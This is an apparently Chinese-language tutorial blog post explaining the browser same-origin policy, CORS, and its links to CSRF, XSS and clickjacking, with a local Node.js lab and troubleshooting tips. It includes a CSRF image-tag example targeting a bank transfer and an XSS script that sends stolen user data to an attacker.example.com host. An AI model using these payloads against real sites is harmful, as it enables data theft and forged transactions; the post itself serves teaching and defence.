
如果你做过Web前端开发大概率在浏览器控制台里见过这么一行红字No Access-Control-Allow-Origin header is present on the requested resource。第一次遇到时我还在写前后端分离项目不懂什么是CORS只知道自己调接口怎么就报错了。后来做Web安全测试才真正意识到这条报错背后站着的就是浏览器最基础也最容易被忽视的边界——同源策略Same-Origin Policy。同源策略是浏览器安全体系的根基几乎所有与Web安全相关的攻防都会绕到它的面前。它可以简单理解为浏览器只允许来自同一来源的页面去读取另一个来源的资源。这个“来源”由协议、域名、端口三部分共同决定。它不只是一个报错机制更是整个Web安全模型的地基。作为“Web安全”系列的第一篇我想把同源策略讲透——从它的定义、限制、跨域方案到它和CSRF、XSS这些经典漏洞之间的关系再配合一套本地实验环境和排查笔记争取让看完的人既能理解原理也能在实战中直接上手验证。1. 同源策略到底在“管”什么1.1 先搞清楚“同源”二字的具体定义很多人以为同源就是“域名一样”这是最容易踩的坑。严格来说只有当两个URL的协议protocol、域名host、端口port全部相同浏览器才认为它们同源。省略端口时浏览器默认使用协议对应的端口http默认80https默认443。举几个直观例子你就明白了页面A页面B是否同源原因https://a.example.com/pagehttp://a.example.com/page否协议不同https vs httphttps://a.example.com/pagehttps://b.example.com/page否域名不同a vs bhttps://a.example.com:443https://a.example.com:8443否端口不同443 vs 8443https://a.example.com:443/pagehttps://a.example.com:443/other是协议、域名、端口都一样这里有个冷知识https://a.example.com和https://a.example.com:443是同源的因为443就是https默认端口浏览器会自动补齐。但如果你手动写了一个非标准端口比如https://a.example.com:8080哪怕只差一个数字也算跨源。另外同源判断针对的是“页面的源”和“资源的目标地址”与路径无关所以/page和/other即使内容完全不同只要三个关键部分一致就是同源。1.2 浏览器里哪些资源受限于同源策略同源策略并非一刀切禁止所有跨源交互它限制的是“对资源的读取”和“对DOM的访问”而不是“发起请求”本身。这个细节很重要也是后续理解CSRF的基础。具体来说同源策略主要管这几件事DOM访问如果两个页面不同源嵌在页面里的iframe无法通过JS读取另一个iframe的DOM结构、属性、内容。你无法在https://bank.example.com的页面里用脚本去读取一个嵌进来的https://evil.example.comiframe里的表单值。网络请求读取XMLHttpRequest、fetch发起跨源请求时请求头可以发出去浏览器也会发送但响应数据是否允许被页面脚本读取由CORS头决定。在没有CORS头的情况下浏览器会拦截脚本对响应内容的读取并报出上面那句经典错误。Cookie、LocalStorage、IndexedDB 等浏览器存储这些存储默认按源隔离。https://a.example.com下存的localStoragehttps://b.example.com读不到。Cookie的隔离规则稍微灵活一点有Domain属性可以显式放开子域但默认也是按主机名管理的。插件、ActiveX、WebSocket等资源的访问同样有跨源限制尤其是WebSocket虽然能跨源建立连接但读取和服务端交互时的鉴权规则与同源策略深度绑定。上面这些限制看似繁琐但它们共同构成了一道隔离墙。没有这道墙你在优雅的网站里浏览时任何一个被加载的恶意广告脚本都能顺手把你邮箱里的内容读走。1.3 为什么需要这样一刀切的隔离最朴素的解释是浏览器同时替用户“保管”了太多与身份相关的状态。比如你登录了A银行浏览器里就有A银行的Cookie登录了B社交网站B的Cookie也在。如果没有任何隔离规则那么任何一个恶意网页都能直接往A银行发请求、读响应替你做转账操作窃取你的个人信息。同源策略的本质就是让“身份凭证”和“数据读取”都绑定在源上互不越界。你可以把它理解成酒店里的房间分级同一层的房间同源之间可以互相服务、共享公共设施合法的同源交互但不同楼层、不同楼栋不同源之间必须通过前台跨域机制登记协调不能自己砸墙通过去。一旦砸墙成功就是XSS漏洞或被绕过的CSRF漏洞——这个我们后面细说。2. 唯一合法跨源的路CORS 与其他跨源机制2.1 跨域需求是怎么来的同源策略明明是为了安全为什么又要在安全策略里开一个跨域的“后门”因为现实开发中“跨源”几乎是必然的。前后端分离之后前端页面部署在https://fe.example.com后端接口在https://api.example.com两者不同源你可能要调用第三方地图API、支付SDK你可能要用iframe嵌入另一个产品的页面。没有跨源机制整个现代Web生态直接转不动。所以浏览器提供了几种合法跨源方式其中应用最广、也最需要开发者掌控细节的是CORSCross-Origin Resource Sharing。2.2 常见的跨源方案对比CORS推荐由服务端在响应头中显式声明“允许哪些源来读取我的数据”配合浏览器强制执行。灵活、安全、覆盖所有请求类型XHR、fetch、字体、图片跨源读取的CORS校验也在这里。JSONP利用script src不受同源策略限制的特点把数据“打包”成一段JS调用代码塞进script标签。只能用GET安全性上使调用方和服务方的信任链极度脆弱现在基本只在兼容老旧系统时用。反向代理不直接跨源而是让同源的网关去转发。开发阶段用webpack-dev-server代理生产上由Nginx把/api转发到真正的后端是最常见的“绕行”方案。严格来说这不是跨源是让请求变回同源。postMessageHTML5提供的window间消息通信API适合iframe和弹窗跨源通信。需要接收方主动监听消息并对来源做校验否则会引发消息注入攻击。document.domain只适用于“同一主域名下的不同子域”比如a.example.com和b.example.com可以互相设置document.domain example.com实现主域同源。这个方案已经逐渐过时因为子域本身一旦被控制整个主域信任链就全塌了。2.3 CORS是怎么“开白名单”的CORS的核心思路是服务端在HTTP响应头里自定义几个字段告诉浏览器“我给这些外来户开放权限”。最常见的响应头Access-Control-Allow-Origin允许读取响应的源列表支持*全部放行或具体源如https://fe.example.com。Access-Control-Allow-Methods允许跨源使用的HTTP方法比如 GET、POST、PUT、DELETE。Access-Control-Allow-Headers允许跨源请求携带的自定义请求头如Authorization、Content-Type。Access-Control-Allow-Credentials是否允许携带凭证Cookie、HTTP认证信息。注意如果设了trueAllow-Origin不允许设为*必须指定具体的源。Access-Control-Max-Age预检请求结果的缓存秒数减少浏览器频繁发OPTIONS请求的消耗。实际开发中CORS分为简单请求和预检请求。满足以下条件算是“简单请求”方法是GET、HEAD、POST之一请求头只有基础字段Accept、Accept-Language、Content-Language、Content-Type且仅限application/x-www-form-urlencoded、multipart/form-data、text/plain。简单请求不需要预检浏览器直接发出真实请求但会在请求头中带上Origin字段服务端必须返回正确的Access-Control-Allow-Origin页面脚本才能读到响应。而对于非简单请求例如Content-Type: application/json、带自定义头、使用PUT/DELETE方法等浏览器会先发一个OPTIONS预检请求探测服务端允不允许真实请求服务端返回的CORS头通过后再发出真实请求。开发环境下每次改动服务端CORS配置都看不到效果很多就是因为没注意到预检请求这一步。提示CORS只是一层“读取权限”控制并不阻止请求本身到达服务端。就算没有CORS头服务端依然会收到请求、执行逻辑、返回响应只是浏览器不让脚本读取响应。所以敏感接口必须做好服务端侧的身份鉴权不能只依赖CORS。3. 实操本地搭一套环境亲手验证同源策略3.1 搭建一个最低成本的跨源验证环境理论讲太多容易飘我们来动手验证。最省事的方式是用Node.js起两个HTTP服务分别模拟两个源。你不需要装任何框架用Node内置的http模块就够了。先建一个server-a.js监听3000端口返回一个前端页面// server-a.js const http require(http); const fs require(fs); http.createServer((req, res) { if (req.url /) { res.writeHead(200, { Content-Type: text/html; charsetutf-8 }); res.end(fs.readFileSync(./index.html)); return; } if (req.url /api/same) { res.writeHead(200, { Content-Type: application/json }); res.end(JSON.stringify({ source: same-origin, msg: 我是同源接口 })); return; } res.writeHead(404); res.end(Not Found); }).listen(3000, () console.log(A 服务已启动: http://localhost:3000));再建一个server-b.js监听3001端口作为一个跨源接口// server-b.js const http require(http); http.createServer((req, res) { if (req.url /api/cross) { res.writeHead(200, { Content-Type: application/json }); res.end(JSON.stringify({ source: cross-origin, msg: 我是跨源接口 })); return; } res.writeHead(404); res.end(Not Found); }).listen(3001, () console.log(B 服务已启动: http://localhost:3001));接着写一个index.html里面放两个按钮一个请求同源接口/api/same一个请求跨源接口http://localhost:3001/api/cross!DOCTYPE html html langzh-CN head meta charsetUTF-8 title同源策略实验/title /head body h3同源策略实验/h3 button idbtnSame请求同源接口/button button idbtnCross请求跨源接口/button pre idresult结果会显示在这里/pre script document.getElementById(btnSame).addEventListener(click, () { fetch(/api/same) .then(res res.json()) .then(data { document.getElementById(result).textContent JSON.stringify(data, null, 2); }) .catch(err { document.getElementById(result).textContent 发生错误 err.message; }); }); document.getElementById(btnCross).addEventListener(click, () { fetch(http://localhost:3001/api/cross) .then(res res.json()) .then(data { document.getElementById(result).textContent JSON.stringify(data, null, 2); }) .catch(err { document.getElementById(result).textContent 发生错误 err.message; }); }); /script /body /html在两个终端分别运行node server-a.js和node server-b.js然后打开http://localhost:3000。3.2 通过DevTools观察CORS预检请求先点“请求同源接口”结果正常返回。再点“请求跨源接口”预期控制台报错提示缺少Access-Control-Allow-Origin头。但注意报错的出现条件是请求本身已经发出去了只是读取被拦。你可以在DevTools的Network面板里看到那条请求的状态码仍然是200响应体也在只是JS读不到。接着我们给server-b.js加上CORS头// 在 server-b.js 的响应里加上头 res.writeHead(200, { Content-Type: application/json, Access-Control-Allow-Origin: http://localhost:3000 });重启服务再点跨源请求这次就成功了。这就是CORS的“开关”作用。如果你想看预检请求可以在页面上改成发一条带Content-Type: application/json的POST请求。比如fetch(http://localhost:3001/api/cross-post, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ name: test }) });在Network面板里你会看到两条请求一条OPTIONS一条POST。OPTIONS就是预检请求头里会带Access-Control-Request-Method: POST、Access-Control-Request-Headers: content-type。服务端必须对OPTIONS请求返回允许的Access-Control-Allow-Methods和Access-Control-Allow-Headers后续的POST才会被放行。实战里需要写一个分支专门处理OPTIONSif (req.method OPTIONS) { res.writeHead(204, { Access-Control-Allow-Origin: http://localhost:3000, Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, Access-Control-Allow-Headers: Content-Type, Authorization, Access-Control-Max-Age: 86400 }); res.end(); return; }3.3 验证DOM隔离与postMessage跨源通信再往下走一步验证DOM隔离。在server-a.js的页面上嵌入http://localhost:3001的一个iframe然后尝试用iframe.contentDocument去读取其DOM。在跨源条件下脚本会抛异常contentDocument返回null因为不同源的iframe DOM不共享。这个实验我用不同端口模拟跨源本地起两个域名比较麻烦生产环境里的表现是一样的。如果是同源iframe比如都来自3000端口iframe.contentDocument就能正常访问这就是同源策略在DOM层面的直观体现。平时做安全测试时判断一个页面能不能通过iframe打点看的也是双方是否同源、有没有设置X-Frame-Options等。iframe跨源通信的正确姿势是postMessage。发送方用iframe.contentWindow.postMessage(data, targetOrigin)把消息发出去接收方监听window.onmessage事件。我在做第三方嵌入方案时遇到一个坑接收方只判断了event.data的内容没有校验event.origin是否在白名单结果恶意网站也能伪造消息投递进来。所以无论发送还是接收targetOrigin和服务端白名单校验都必须要做否则postMessage反而变成一种绕过同源策略的攻击通道。4. 同源策略与典型Web漏洞的关系CSRF、XSS、点击劫持4.1 CSRF利用同源策略的盲区CSRF跨站请求伪造之所以存在正是钻了同源策略的空子。前面说过同源策略限制的是“读取响应”和“访问DOM”并不阻止“发出请求”。攻击者可以构造一个恶意页面里面放一个自动提交的表单或者一张图片img srchttps://bank.example.com/transfer?toattackeramount10000 /当用户浏览器里恰好有bank.example.com的登录Cookie时这个请求会带着Cookie发出去。因为Cookie是浏览器按域名自动携带的同源策略能拦的只是跨源读取拦不住请求的“发送”。服务端收到这个请求后如果它信任Cookie里携带的身份信息、没有校验请求的来源Origin头、Referer头或CSRF Token就会把这笔转账当成用户本人操作。这个例子说明一个安全核心认知同源策略是浏览器的客户端防线而不是服务端的防线。服务端必须自己填报“本次请求是否来自合法页面”。缓解CSRF业内通用做法有三板斧CSRF Token服务端在渲染页面时下发一个随机token写请求必须携带并在服务端校验。跨站请求读不到token自然构造不了合法请求。SameSite Cookie给Cookie设置SameSiteLax或SameSiteStrict。跨站请求带上Cookie的限制变得更严格浏览器默认的Lax级别已经在很大程度上缓解了CSRF。校验Origin和Sec-Fetch-Site服务端检查请求头里的Origin是否在白名单内或者检查Sec-Fetch-Site是否为same-origin或same-site。现在大多数浏览器都支持这个请求头安全性比Referer更可靠。4.2 XSS绕过同源防护的“内奸”如果说CSRF是“从外部硬闯”XSS就是“从内部瓦解”。XSS跨站脚本攻击的本质是攻击者把恶意脚本注入到目标网站的可信上下文中。一旦目标页面执行了这段脚本就相当于执行了一个“来自该源”的合法脚本——同源策略对它毫无约束力因为它就是从内部发起的。比如一个留言板功能没有过滤用户输入攻击者在评论区提交了一段script fetch(https://bank.example.com/api/userinfo) .then(res res.json()) .then(data fetch(https://attacker.example.com/collect?data JSON.stringify(data))); /script当管理员访问这个留言板页面时脚本在bank.example.com的上下文里执行同源策略让它可以读取所有同源响应包括管理员的敏感数据然后静默转发到攻击者服务器。这个过程中同源策略完全没有起作用不是它失效而是因为它信任了“页面的脚本内容”而页面已经被污染了。所以做Web安全永远要记住一句话同源策略防的是跨源攻击者防不了源内的内鬼。防御XSS的核心是输出编码、输入校验、CSPContent Security Policy策略收敛可执行脚本来源。4.3 点击劫持与其他边界问题点击劫持和同源策略的关系也很有意思。攻击者把一个目标网站如支付确认页面通过透明iframe嵌入到恶意页面里用户看到的是诱饵按钮实际点击的是iframe里的确认按钮。同源策略允许跨源iframe的“嵌入加载”只是不允许脚本读取其DOM。攻击者不需要读取内容只需要让用户“点到”关键位置就行。对点击劫持的防御最有效的是在响应头里设置X-Frame-Options: DENY # 或者 Content-Security-Policy: frame-ancestors none这两行头是给浏览器看的告诉它“不允许其他源把我的页面嵌入iframe”。这属于在CORS体系之外、又一个需要开发者主动配置的安全开关。我见过不少开发者认为只要加了CORS就能“防一切”结果页面能被恶意站点随意嵌入这就是把CORS和frame控制混为一谈了。5. 实际排查笔记同源策略引发的经典报错和安全边界问题5.1 “No Access-Control-Allow-Origin header”问题的排查如果后端接口挂了代理前端请求的URL是同源的但响应里依然报CORS错误最常见的原因有两个第一代理转发时响应头被剥离。无论是devServer代理还是Nginx转发如果不在代理配置里保留或加上Access-Control-Allow-Origin浏览器还是拿不到。排查方法是打开DevTools直接看响应头确认后端有没有返回CORS头以及这个头是通过哪一层加上的。第二预检请求失败。前端明明请求的是POST但浏览器先发的OPTIONS被某个中间层拦截了比如网关要求OPTIONS必须有认证导致预检没有收到正确响应真实请求压根没发。遇到这种情况优先看Network里有没有OPTIONS请求状态码和响应头是什么。生产环境里我帮人排查过很多次都是因为公司的通用网关默认拦截了OPTIONS需要专门放行。排查顺序做一个速查表现象可能原因优先检查项请求响应200但JS报CORS错误响应头缺少Allow-Origin响应头里是否有Access-Control-Allow-Origin请求发了两次OPTIONS状态为405/401预检被服务端拦截OPTIONS响应头是否正确返回Allow-Methods、Allow-Headers允许跨域但带Cookie请求失败Allow-Origin设为*且Allow-Credentials为true是否指定具体源不能和*混用加了CORS头仍报错代理层覆盖了响应头用curl或Postman直连后端绕开代理比对响应头带自定义Header的请求失败服务端未允许对应HeaderAccess-Control-Allow-Headers是否包含对应Header名5.2 Cookie SameSite属性与同源/同站的区别排查跨域问题时很多人会把“同源”和“同站”混为一谈。同源要求协议、域名、端口全部一致而同站SameSite只要求“可注册域”eTLD1一致不关心端口甚至早期还不关心协议。比如https://a.example.com和https://b.example.com不同源但同站http://a.example.com和https://a.example.com不同源但也被视为同站不过在新版Chrome的“schemeful same-site”规则下协议不同会被认为是跨站。关键在于Cookie的SameSite属性针对的是“站点”而非“源”。这意味着你给example.com设置的Cookie在a.example.com和b.example.com之间可以共享但这并不代表它们同源DOM访问和接口读取依然受同源策略限制。反过来一个包含端口差异的页面Cookie未必会跨端口一起带但CORS跨域读取时同样要满足Allow-Origin的配置。在对Cookie做安全加固时我建议至少列一下你的Cookie设置情况Secure是否只在HTTPS下发送。HttpOnly是否禁止JS读取防XSS后偷Cookie的关键属性。SameSite是默认的Lax还是Strict、None。这三项决定了Cookie面对CSRF和XSS时的抗性。5.3 新安全特性COOP、COEP、CORP除了同源策略和CORS现代浏览器还在不断收紧跨源边界。安全测试时经常会看到这几个响应头Cross-Origin-Opener-Policy (COOP)控制顶层窗口与打开它的窗口之间的隔离关系。设置为same-origin后跨源窗口之间通过window.opener的引用会被切断这让一些基于window.opener跨源访问的漏洞比如window.opener钓鱼失效。Cross-Origin-Embedder-Policy (COEP)控制页面是否可以跨源加载子资源。设置为require-corp后页面里加载的所有跨源子资源图片、脚本、iframe等都必须通过CORP或CORS校验否则加载失败。Cross-Origin-Resource-Policy (CORP)服务端声明某个资源是否允许其他源加载层级从same-origin到same-site到cross-origin。这三个头把“源级隔离”推进到了“资源级隔离”。在实际做安全配置时COOP和COEP配合起来能有效降低跨源信息泄露和推测类攻击的风险但代价是会阻断所有跨源嵌入资源部署前需要评估兼容性。我一般建议先从CORP入手把敏感接口的资源加载策略收敛到same-origin再逐步推进COOP。6. 同源策略的边界与常见误解含避坑清单6.1 同源不是同站别把两个概念混在一起这是我在面试里最喜欢问的一个点也是实际开发中坑最多的点。localhost:3000和localhost:8080是同源还是同站都算。那localhost:3000和127.0.0.1:3000呢域名不同既不同源也不同站——不过浏览器对localhost有一些特殊处理把回环地址都视为“可信本地”这是偏向本地开发的例外并不代表规则变了。做安全测试时如果测试目标允许部署在127.0.0.1上使用一个localhost的钓鱼页面去做CSRF攻击Cookie很可能带不上。反过来在开发环境用localhost调本机服务一切正常切到IP地址就报CORS错误原因也是这二者在浏览器眼中是两个源。6.2 看似同源却被隔离开的特例同源策略并不保证“长得像同源”就能互相访问有几个特例要记住file:// 协议文件协议下的页面其“源”比较特殊大多数浏览器把每个本地文件都当成独立的源。一个本地HTML想通过fetch读取另一个本地JSON文件往往直接报CORS错误。所以用file协议测试前端项目时通常会起一个本地静态服务而不是直接双击HTML打开。沙箱iframeiframe标签加了sandbox属性后即使嵌入的是同源页面也会被强制赋予一个“独特源”无法访问外层DOM也无法访问Cookie等状态。这是浏览器提供的主动隔离机制经常用于嵌入第三方不可信内容。不透明响应opaque response某些场景里浏览器不会暴露响应的真实头信息比如带no-cors模式的fetch。这种请求能发出去但返回的是“不透明响应”页面脚本只能得到状态码0和空内容。很多新人拿no-cors去请求跨源接口发现拿不到数据其实不是因为没通而是被策略伪装成“啥都没有”了。6.3 给前端同学的安全配置清单如果你不是专业安全人员但正在开发包含跨域场景的前端项目下面这几条请务必对照检查绝对不要在生产环境把Access-Control-Allow-Origin设成*尤其当接口涉及用户敏感数据时。允许的源应该用白名单动态生成。只要请求带上Cookie或Authorization头Allow-Origin必须写具体源不能和Allow-Credentials: true混用*。Access-Control-Allow-Methods和Access-Control-Allow-Headers越收敛越好别图省事把所有方法和头都放行。服务端要对OPTIONS请求正确响应别在通用逻辑里统一拦截预检。给所有需要用户态操作的接口做好CSRF Token校验或者至少把Cookie的SameSite设置为Lax。敏感页面如支付、改密设置X-Frame-Options: DENY或者frame-ancestors none防止点击劫持。业务中如果自己实现postMessage通信发送方指定targetOrigin接收方校验event.origin。这七条要是都做到位你的项目在同源策略相关的攻击面就已经比大多数网站硬很多了。做安全有个思维方式很有意思永远不要迷信某个机制能“包治百病”。同源策略把浏览器端的安全边界画了出来但每个边界都有利有弊——它挡住了跨源读取却没挡住跨源发送还给合法业务开了CORS这样一扇需要精细操作的门。所以真正靠谱的安全意识是理解边界在哪知道边界哪些部分可以信任、哪些必须自己在服务端兜底。最后分享一个我自己的习惯遇到任何跨域报错先别急着加Access-Control-Allow-Origin: *先想一想这行头放出去之后谁还能读到这个接口的数据。我踩过一次坑因为图方便把用户信息接口的CORS设成了*虽然加了登录鉴权但被内部测试环境外的第三方网站直接读取并展示差点酿成数据泄露。后来我所有接口的跨域白名单都会单独维护宁可每次上线多花几分钟改配置也不冒放开所有源的风险。安全就是这样很多时候不是技术难而是怕麻烦的心态带来漏洞。理解同源策略和CORS就是你从“能用”到“用得明白”的第一道门槛。